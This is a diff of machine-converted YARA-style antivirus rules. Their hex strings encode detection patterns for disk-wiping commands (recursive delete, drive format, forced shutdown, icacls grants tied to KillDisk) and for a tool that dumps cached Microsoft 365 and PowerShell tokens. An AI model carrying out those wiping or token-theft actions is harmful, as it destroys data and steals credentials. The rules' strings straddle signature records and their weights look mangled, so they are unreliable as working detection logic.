"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,27 00 27 00 0c 00 21 " @@ -252487,7 +267591,7 @@ rule _InfrastructureShared_20063{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*102+(#a_00_3 & 1)*87+(#a_00_5 & 1)*68+(#a_45_7 & 1)*7680+(#a_00_9 & 1)*108+(#a_20_10 & 1)*25964+(#a_64_11 & 1)*28524) >=39 } -rule _InfrastructureShared_20064{ +rule _InfrastructureShared_21278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -252498,7 +267602,7 @@ rule _InfrastructureShared_20064{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115) >=3 } -rule _InfrastructureShared_20065{ +rule _InfrastructureShared_21279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 21 00 21 " @@ -252538,7 +267642,7 @@ rule _InfrastructureShared_20065{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*14650+(#a_38_2 & 1)*13622+(#a_02_3 & 1)*-28624+(#a_00_4 & 1)*144+(#a_33_5 & 1)*13314+(#a_00_6 & 1)*14850+(#a_44_7 & 1)*526+(#a_31_8 & 1)*14904+(#a_39_9 & 1)*12596+(#a_04_10 & 1)*-28614+(#a_00_11 & 1)*144+(#a_3a_12 & 1)*13314+(#a_2f_13 & 1)*31045+(#a_01_14 & 1)*-28571+(#a_00_15 & 1)*14637+(#a_74_16 & 1)*-31416+(#a_00_17 & 1)*12324+(#a_24_18 & 1)*-30463+(#a_90_19 & 1)*-256+(#a_41_20 & 1)*19529+(#a_30_21 & 1)*17969+(#a_33_22 & 1)*12610+(#a_2e_23 & 1)*25959+(#a_67_24 & 1)*28257+(#a_65_25 & 1)*24946+(#a_53_26 & 1)*14336+(#a_74_27 & 1)*29810+(#a_6f_28 & 1)*25938+(#a_00_30 & 1)*109+(#a_01_32 & 1)*1) >=4 } -rule _InfrastructureShared_20066{ +rule _InfrastructureShared_21280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -252553,7 +267657,7 @@ rule _InfrastructureShared_20066{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*31277+(#a_6c_3 & 1)*30020+(#a_00_4 & 1)*16850+(#a_7d_5 & 1)*18433+(#a_24_6 & 1)*-29364) >=7 } -rule _InfrastructureShared_20067{ +rule _InfrastructureShared_21281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -252571,7 +267675,7 @@ rule _InfrastructureShared_20067{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*13623+(#a_43_2 & 1)*12356+(#a_64_3 & 1)*28018+(#a_2e_4 & 1)*30544+(#a_67_5 & 1)*28257+(#a_2e_6 & 1)*25461+(#a_65_7 & 1)*29810+(#a_00_9 & 1)*114) >=10 } -rule _InfrastructureShared_20068{ +rule _InfrastructureShared_21282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 09 00 21 " @@ -252587,7 +267691,7 @@ rule _InfrastructureShared_20068{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*109+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=11 } -rule _InfrastructureShared_20069{ +rule _InfrastructureShared_21283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 16 00 21 " @@ -252598,26 +267702,39 @@ rule _InfrastructureShared_20069{ $a_69_3 = {66 6f 2e 72 65 73 6f 75 72 63 65 73 01 00 13 01 76 76 4f 57 6b 4d 6a 35 47 38 55 52 57 51 32 48 6e 68 70 01 00 1c 01 52 65 64 43 72 6f 73 73 2e 49 43 6f 6d 70 65 72 65 72 2e 72 65 73 6f 75 72 63 65 73 01 00 1a 01 52 65 64 43 72 6f 73 73 2e 76 69 65 77 64 6e 72 2e 72 65 73 6f 75 72 63 65 73 01 00 1c } //29811 $a_64_4 = {72 6f 73 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 1d 01 52 65 64 43 72 6f 73 73 2e 61 63 74 69 76 69 74 69 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 1b 01 52 65 64 43 72 6f 73 73 2e 76 69 65 77 4d 72 6b 73 2e 72 65 73 6f 75 72 63 65 73 01 00 18 01 52 65 64 43 72 6f 73 73 2e } //20993 $a_6b_5 = {2e 72 65 73 6f 75 72 63 65 73 01 00 1d 01 52 65 64 43 72 6f 73 73 2e 73 74 64 44 65 74 61 69 6c 73 2e 72 65 73 6f 75 72 63 65 73 01 00 1d 01 52 65 64 43 72 6f 73 73 2e 64 6e 72 64 65 74 61 69 6c 73 2e 72 65 73 6f 75 72 63 65 73 01 00 11 01 43 6f 6e 63 61 74 65 6e 61 74 65 4f 62 6a 65 63 74 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 } //24941 - $a_01_6 = {00 0d 01 43 6f 6d 70 61 72 65 53 74 72 69 6e 67 00 00 78 7d 02 00 08 00 08 00 0a 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 42 6c 61 63 6b 45 6e 65 72 67 79 5f 4b 69 6c 6c 44 69 73 6b 5f 31 00 01 00 30 03 73 79 73 74 65 6d 33 32 5c 63 6d 64 2e 65 78 65 90 19 01 09 61 2d 7a 41 2d } //28265 - $a_39_7 = {09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 46 03 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 69 00 63 00 61 } //12378 - $a_00_9 = {65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 37 03 2f 63 20 64 } //115 - $a_2f_10 = {20 2f 53 20 2f 51 20 25 63 3a 5c 2a 2e 2a 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 } //27749 - $a_61_11 = {7a 41 2d 5a 30 2d 39 } //281 - $a_03_12 = {73 68 75 74 64 6f 77 6e 20 2f 72 20 2f 74 20 25 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 - $a_03_13 = {2f 00 43 00 20 00 2f 00 51 00 20 00 2f 00 67 00 72 00 61 00 6e 00 74 00 20 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //1 - $a_03_14 = {25 30 38 58 2e 74 6d 70 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 - $a_03_15 = {2f 63 20 66 6f 72 6d 61 74 20 25 63 3a 20 2f 59 20 2f 58 20 2f 46 53 3a 4e 54 46 53 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 - $a_03_16 = {2f 63 20 66 6f 72 6d 61 74 20 25 63 3a 20 2f 59 20 2f 51 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 - $a_03_17 = {74 00 61 00 73 00 6b 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //1 - $a_03_18 = {73 00 68 00 75 00 74 00 64 00 6f 00 77 00 6e 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //1 - $a_7f_19 = {00 05 00 05 00 0c 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 44 6f 77 6e 6c 6f 61 64 47 75 69 64 65 2e 41 31 00 02 00 2e 01 2f 00 63 00 65 00 75 00 2d 00 68 00 6f 00 73 00 74 00 69 00 6e 00 67 00 2e 00 75 00 70 00 6c 00 6f 00 61 00 64 00 2e 00 64 00 65 00 2f 00 02 00 30 01 64 00 6c 00 67 00 2d 00 6d 00 65 00 73 00 73 00 61 00 67 00 65 00 73 00 2e 00 62 00 } //0 - $a_00_20 = {7a 00 72 00 69 00 6e 00 2e 00 64 00 65 00 2f 00 02 00 2c 01 61 00 7a 00 36 00 38 00 37 00 37 00 32 00 32 00 2e 00 76 00 6f 00 2e 00 6d 00 73 00 65 00 63 00 6e 00 64 00 2e 00 6e 00 65 00 74 00 01 00 44 01 73 00 69 00 74 00 65 00 22 00 2c 00 22 00 4f 00 66 00 66 00 65 00 72 00 22 00 3a 00 22 00 22 00 2c 00 22 00 54 00 72 00 61 00 63 00 6b 00 42 00 61 00 63 00 6b 00 } //117 - $a_00_21 = {6c 00 22 00 3a 00 22 00 22 00 01 00 40 01 2c 00 22 00 43 00 6c 00 69 00 65 00 6e 00 74 00 22 00 3a 00 22 00 66 00 72 00 65 00 65 00 6d 00 69 00 75 00 6d 00 22 00 2c 00 22 00 43 00 75 00 6c 00 74 00 75 00 72 00 65 00 22 00 3a 00 22 00 01 00 2e 01 6f 00 70 00 65 00 6e 00 55 00 72 00 6c 00 49 00 6e 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 } //85 + $a_01_6 = {00 0d 01 43 6f 6d 70 61 72 65 53 74 72 69 6e 67 00 00 78 7d 02 00 05 00 05 00 07 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 51 75 61 67 6d 69 72 65 4d 69 6e 65 2e 41 21 64 68 61 00 01 00 46 01 5b 00 21 00 5d 00 20 00 4e 00 6f 00 20 00 74 00 6f 00 6b 00 65 00 6e 00 73 00 20 00 66 00 6f 00 } //28265 + $a_00_7 = {64 00 20 00 69 00 6e 00 20 00 54 00 65 00 61 00 6d 00 73 00 20 00 63 00 61 00 63 00 68 00 65 00 2e 00 01 00 54 01 5b 00 2b 00 5d 00 20 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 33 00 36 00 35 00 20 00 74 00 6f 00 6b 00 65 00 6e 00 20 00 63 00 61 00 63 00 68 00 65 00 20 00 65 00 78 00 70 00 6f 00 72 00 74 00 } //117 + $a_00_8 = {20 00 74 00 6f 00 20 00 01 00 3c 01 5b 00 2b 00 5d 00 20 00 43 00 61 00 63 00 68 00 65 00 64 00 20 00 74 00 6f 00 6b 00 65 00 6e 00 73 00 20 00 65 00 78 00 70 00 6f 00 72 00 74 00 65 00 64 00 20 00 74 00 6f 00 20 00 01 00 6c 01 5b 00 2a 00 5d 00 20 00 54 00 72 00 79 00 69 00 6e 00 67 00 20 00 74 00 } //101 + $a_00_9 = {64 00 75 00 6d 00 70 00 20 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 } //111 dump Powershell + $a_00_10 = {64 00 75 00 6c 00 65 00 20 00 63 00 61 00 63 00 68 00 65 00 64 00 20 00 74 00 6f 00 6b 00 65 00 6e 00 73 00 20 00 69 00 6e 00 20 00 01 00 5c 01 5b 00 2b 00 5d 00 20 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 6d 00 6f 00 64 00 75 00 6c 00 65 00 20 00 63 00 61 00 63 00 68 00 65 00 64 00 20 00 74 00 6f 00 6b } //109 + $a_00_12 = {65 00 78 00 70 00 6f 00 72 00 74 00 20 00 74 00 6f 00 20 00 02 00 4a 01 45 00 78 00 70 00 6f 00 } //115 + $a_00_13 = {20 00 63 00 61 00 63 00 68 00 65 00 64 00 20 00 6c 00 6f 00 63 00 61 00 6c 00 20 00 63 00 72 00 65 00 64 00 65 00 6e 00 74 00 69 00 61 00 6c 00 73 00 20 00 66 00 72 00 6f 00 6d 00 20 00 02 00 4a 01 45 00 78 00 70 00 6f 00 72 00 74 00 20 00 63 00 61 00 63 00 68 00 65 00 64 00 20 00 4d 00 53 00 33 00 36 00 35 00 20 00 63 00 72 00 65 00 64 00 65 00 } //114 + $a_00_14 = {69 00 61 00 6c 00 73 00 20 00 66 00 72 00 6f 00 6d 00 20 00 00 00 78 7d 02 00 08 00 08 00 0a 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 42 6c 61 63 6b 45 6e 65 72 67 79 5f 4b 69 6c 6c 44 69 73 6b 5f 31 00 01 00 30 03 73 79 73 74 65 6d 33 32 5c 63 6d 64 2e 65 78 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 } //110 + $a_61_15 = {7a 41 2d 5a 30 2d 39 } //281 + $a_03_16 = {73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 69 00 63 00 61 00 63 00 6c 00 73 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //1 + $a_03_17 = {2f 63 20 64 65 6c 20 2f 46 20 2f 53 20 2f 51 20 25 63 3a 5c 2a 2e 2a 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 + $a_03_18 = {73 68 75 74 64 6f 77 6e 20 2f 72 20 2f 74 20 25 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 + $a_03_19 = {2f 00 43 00 20 00 2f 00 51 00 20 00 2f 00 67 00 72 00 61 00 6e 00 74 00 20 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //1 + $a_03_20 = {25 30 38 58 2e 74 6d 70 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 + $a_03_21 = {2f 63 20 66 6f 72 6d 61 74 20 25 63 3a 20 2f 59 20 2f 58 20 2f 46 53 3a 4e 54 46 53 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29545+(#a_72_2 & 1)*25701+(#a_69_3 & 1)*29811+(#a_64_4 & 1)*20993+(#a_6b_5 & 1)*24941+(#a_01_6 & 1)*28265+(#a_39_7 & 1)*12378+(#a_00_9 & 1)*115+(#a_2f_10 & 1)*27749+(#a_61_11 & 1)*281+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_7f_19 & 1)*0+(#a_00_20 & 1)*117+(#a_00_21 & 1)*85) >=22 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29545+(#a_72_2 & 1)*25701+(#a_69_3 & 1)*29811+(#a_64_4 & 1)*20993+(#a_6b_5 & 1)*24941+(#a_01_6 & 1)*28265+(#a_00_7 & 1)*117+(#a_00_8 & 1)*101+(#a_00_9 & 1)*111+(#a_00_10 & 1)*109+(#a_00_12 & 1)*115+(#a_00_13 & 1)*114+(#a_00_14 & 1)*110+(#a_61_15 & 1)*281+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1) >=22 } -rule _InfrastructureShared_20070{ +rule _InfrastructureShared_21284{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 51 75 61 67 6d 69 72 65 4d 69 6e 65 2e 41 21 64 68 61 00 01 00 46 01 5b 00 21 00 5d 00 20 00 4e 00 6f 00 20 00 74 00 6f 00 6b 00 65 00 6e 00 73 00 20 00 66 00 6f 00 75 00 6e 00 64 00 20 } //16675 + $a_00_2 = {65 00 61 00 6d 00 73 00 20 00 63 00 61 00 63 00 68 00 65 00 2e 00 01 00 54 01 5b 00 2b 00 5d 00 20 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 33 00 36 00 35 00 20 00 74 00 6f 00 6b 00 65 00 6e 00 20 00 63 00 61 00 63 00 68 00 65 00 } //32 + $a_00_3 = {78 00 70 00 6f 00 72 00 74 00 65 00 64 00 20 00 74 00 6f 00 20 00 01 00 3c 01 5b 00 2b 00 5d 00 20 00 43 00 61 00 63 00 68 00 65 00 64 00 20 00 74 00 6f 00 6b 00 65 00 6e 00 73 00 20 00 65 00 78 00 70 00 6f 00 72 00 74 00 65 00 64 00 20 00 74 00 6f 00 20 00 01 00 6c 01 5b 00 2a 00 5d 00 20 00 54 00 72 } //32 + $a_00_5 = {20 00 74 00 6f 00 20 00 64 00 75 00 6d 00 70 00 20 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 6d 00 6f 00 64 00 75 00 6c 00 65 00 20 00 63 00 61 00 63 00 68 00 65 00 64 00 20 00 74 00 6f 00 6b 00 65 00 6e 00 73 00 20 00 69 00 6e 00 20 00 01 00 5c 01 5b 00 2b 00 5d 00 20 00 50 00 6f } //110 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32+(#a_00_3 & 1)*32+(#a_00_5 & 1)*110) >=5 + +} +rule _InfrastructureShared_21285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " @@ -252635,7 +267752,7 @@ rule _InfrastructureShared_20070{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_00_3 & 1)*50+(#a_00_4 & 1)*2448+(#a_61_5 & 1)*281+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1) >=8 } -rule _InfrastructureShared_20071{ +rule _InfrastructureShared_21286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0c 00 21 " @@ -252653,7 +267770,7 @@ rule _InfrastructureShared_20071{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*12288+(#a_00_3 & 1)*109+(#a_00_5 & 1)*102+(#a_00_7 & 1)*101+(#a_00_8 & 1)*117+(#a_00_9 & 1)*115+(#a_00_10 & 1)*55+(#a_00_11 & 1)*10) >=5 } -rule _InfrastructureShared_20072{ +rule _InfrastructureShared_21287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -252667,7 +267784,7 @@ rule _InfrastructureShared_20072{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115+(#a_00_4 & 1)*32+(#a_00_6 & 1)*107+(#a_00_8 & 1)*68) >=10 } -rule _InfrastructureShared_20073{ +rule _InfrastructureShared_21288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -252686,7 +267803,7 @@ rule _InfrastructureShared_20073{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*29804+(#a_39_2 & 1)*-32482+(#a_6c_3 & 1)*30309+(#a_64_4 & 1)*27740+(#a_6b_5 & 1)*27492+(#a_65_6 & 1)*25198+(#a_68_7 & 1)*14934+(#a_00_8 & 1)*2448+(#a_61_9 & 1)*281) >=10 } -rule _InfrastructureShared_20074{ +rule _InfrastructureShared_21289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0c 00 21 " @@ -252706,7 +267823,7 @@ rule _InfrastructureShared_20074{ ((#a_46_0 & 1)*16675+(#a_19_1 & 1)*27756+(#a_2c_3 & 1)*107+(#a_69_4 & 1)*24898+(#a_09_5 & 1)*6544+(#a_2d_6 & 1)*31277+(#a_72_7 & 1)*21362+(#a_65_8 & 1)*25445+(#a_5c_9 & 1)*25441+(#a_6e_10 & 1)*22364+(#a_5c_11 & 1)*29281) >=11 } -rule _InfrastructureShared_20075{ +rule _InfrastructureShared_21290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -252727,7 +267844,7 @@ rule _InfrastructureShared_20075{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24951+(#a_74_2 & 1)*29559+(#a_73_3 & 1)*29285+(#a_00_4 & 1)*28528+(#a_24_5 & 1)*385+(#a_7a_6 & 1)*28277+(#a_74_7 & 1)*27755+(#a_53_8 & 1)*28489+(#a_75_9 & 1)*25972+(#a_50_10 & 1)*25857+(#a_72_11 & 1)*20481) >=12 } -rule _InfrastructureShared_20076{ +rule _InfrastructureShared_21291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 10 00 21 " @@ -252751,7 +267868,7 @@ rule _InfrastructureShared_20076{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*400+(#a_69_2 & 1)*29779+(#a_78_3 & 1)*18512+(#a_46_4 & 1)*25934+(#a_73_5 & 1)*28521+(#a_69_6 & 1)*29556+(#a_33_8 & 1)*25651+(#a_35_9 & 1)*13365+(#a_46_10 & 1)*12614+(#a_61_11 & 1)*29550+(#a_65_12 & 1)*28500+(#a_6f_13 & 1)*25938+(#a_72_14 & 1)*29298+(#a_62_15 & 1)*17262) >=3 } -rule _InfrastructureShared_20077{ +rule _InfrastructureShared_21292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 13 00 21 " @@ -252779,7 +267896,7 @@ rule _InfrastructureShared_20077{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*13622+(#a_65_2 & 1)*14387+(#a_42_3 & 1)*13366+(#a_6e_4 & 1)*17696+(#a_01_5 & 1)*2+(#a_01_6 & 1)*2+(#a_01_7 & 1)*2+(#a_01_8 & 1)*2+(#a_01_9 & 1)*2+(#a_01_10 & 1)*2+(#a_01_11 & 1)*2+(#a_01_12 & 1)*2+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_80_17 & 1)*0+(#a_00_18 & 1)*144) >=5 } -rule _InfrastructureShared_20078{ +rule _InfrastructureShared_21293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 09 00 21 " @@ -252796,7 +267913,7 @@ rule _InfrastructureShared_20078{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_00_3 & 1)*116+(#a_00_4 & 1)*32+(#a_09_5 & 1)*11408+(#a_2d_6 & 1)*14637+(#a_00_7 & 1)*14637+(#a_7a_8 & 1)*24841) >=12 } -rule _InfrastructureShared_20079{ +rule _InfrastructureShared_21294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -252817,7 +267934,7 @@ rule _InfrastructureShared_20079{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29807+(#a_63_2 & 1)*27745+(#a_61_3 & 1)*28769+(#a_2e_4 & 1)*12849+(#a_61_5 & 1)*29550+(#a_5c_6 & 1)*25964+(#a_6f_7 & 1)*8292+(#a_69_8 & 1)*24931+(#a_43_9 & 1)*4864+(#a_54_10 & 1)*29281+(#a_00_11 & 1)*29285) >=12 } -rule _InfrastructureShared_20080{ +rule _InfrastructureShared_21295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 13 00 21 " @@ -252844,7 +267961,7 @@ rule _InfrastructureShared_20080{ ((#a_46_0 & 1)*16675+(#a_20_2 & 1)*25959+(#a_63_3 & 1)*22130+(#a_65_4 & 1)*29285+(#a_45_5 & 1)*29797+(#a_33_6 & 1)*25964+(#a_00_7 & 1)*11876+(#a_6d_8 & 1)*29185+(#a_2f_9 & 1)*29807+(#a_5b_10 & 1)*21573+(#a_09_11 & 1)*14637+(#a_02_12 & 1)*-28550+(#a_2d_13 & 1)*23085+(#a_30_14 & 1)*11585+(#a_00_15 & 1)*14637+(#a_6f_16 & 1)*24931+(#a_01_17 & 1)*-28555+(#a_01_18 & 1)*-28563) >=3 } -rule _InfrastructureShared_20081{ +rule _InfrastructureShared_21296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -252862,7 +267979,7 @@ rule _InfrastructureShared_20081{ ((#a_46_0 & 1)*16675+(#a_4b_1 & 1)*25710+(#a_00_2 & 1)*14637+(#a_00_3 & 1)*111+(#a_74_4 & 1)*25959+(#a_2d_5 & 1)*23085+(#a_01_6 & 1)*-28672+(#a_09_7 & 1)*6544+(#a_2d_8 & 1)*31277) >=5 } -rule _InfrastructureShared_20082{ +rule _InfrastructureShared_21297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 12 00 21 " @@ -252888,7 +268005,7 @@ rule _InfrastructureShared_20082{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*1025+(#a_ff_2 & 1)*400+(#a_ad_3 & 1)*257+(#a_90_4 & 1)*-252+(#a_ff_5 & 1)*-30464+(#a_73_7 & 1)*29697+(#a_61_8 & 1)*269+(#a_69_9 & 1)*30465+(#a_65_10 & 1)*31092+(#a_65_11 & 1)*26988+(#a_5f_12 & 1)*27753+(#a_61_13 & 1)*25959+(#a_4a_14 & 1)*295+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1) >=1 } -rule _InfrastructureShared_20083{ +rule _InfrastructureShared_21298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 17 00 21 " @@ -252918,7 +268035,7 @@ rule _InfrastructureShared_20083{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_61_2 & 1)*28789+(#a_74_3 & 1)*29300+(#a_74_4 & 1)*25089+(#a_6e_5 & 1)*25449+(#a_71_6 & 1)*25459+(#a_00_7 & 1)*97+(#a_74_8 & 1)*30049+(#a_73_9 & 1)*26723+(#a_74_10 & 1)*29285+(#a_63_11 & 1)*5376+(#a_74_12 & 1)*20047+(#a_6c_13 & 1)*29781+(#a_62_14 & 1)*28500+(#a_41_15 & 1)*21605+(#a_00_16 & 1)*112+(#a_00_18 & 1)*109+(#a_00_19 & 1)*13+(#a_00_20 & 1)*115+(#a_00_22 & 1)*257) >=11 } -rule _InfrastructureShared_20084{ +rule _InfrastructureShared_21299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,6d 00 6d 00 13 00 21 " @@ -252944,7 +268061,7 @@ rule _InfrastructureShared_20084{ ((#a_5f_0 & 1)*25635+(#a_41_1 & 1)*29548+(#a_63_2 & 1)*10752+(#a_74_3 & 1)*20047+(#a_61_4 & 1)*25972+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_83_13 & 1)*0+(#a_01_15 & 1)*10752+(#a_00_16 & 1)*100+(#a_00_17 & 1)*144) >=109 } -rule _InfrastructureShared_20085{ +rule _InfrastructureShared_21300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -252958,7 +268075,7 @@ rule _InfrastructureShared_20085{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_00_3 & 1)*32+(#a_00_5 & 1)*50+(#a_00_6 & 1)*100) >=1 } -rule _InfrastructureShared_20086{ +rule _InfrastructureShared_21301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 14 00 21 " @@ -252982,7 +268099,7 @@ rule _InfrastructureShared_20086{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*144+(#a_74_3 & 1)*24835+(#a_01_5 & 1)*-28567+(#a_00_7 & 1)*257+(#a_00_8 & 1)*105+(#a_6f_9 & 1)*791+(#a_01_11 & 1)*-28577+(#a_00_13 & 1)*117+(#a_6c_14 & 1)*25972+(#a_38_15 & 1)*14402+(#a_42_16 & 1)*17988+(#a_41_17 & 1)*13872+(#a_37_18 & 1)*16962+(#a_45_19 & 1)*13125) >=6 } -rule _InfrastructureShared_20087{ +rule _InfrastructureShared_21302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -253001,7 +268118,7 @@ rule _InfrastructureShared_20087{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*17476+(#a_42_2 & 1)*13890+(#a_34_3 & 1)*14135+(#a_33_4 & 1)*13894+(#a_44_5 & 1)*14136+(#a_31_6 & 1)*13125+(#a_43_7 & 1)*12594+(#a_6f_8 & 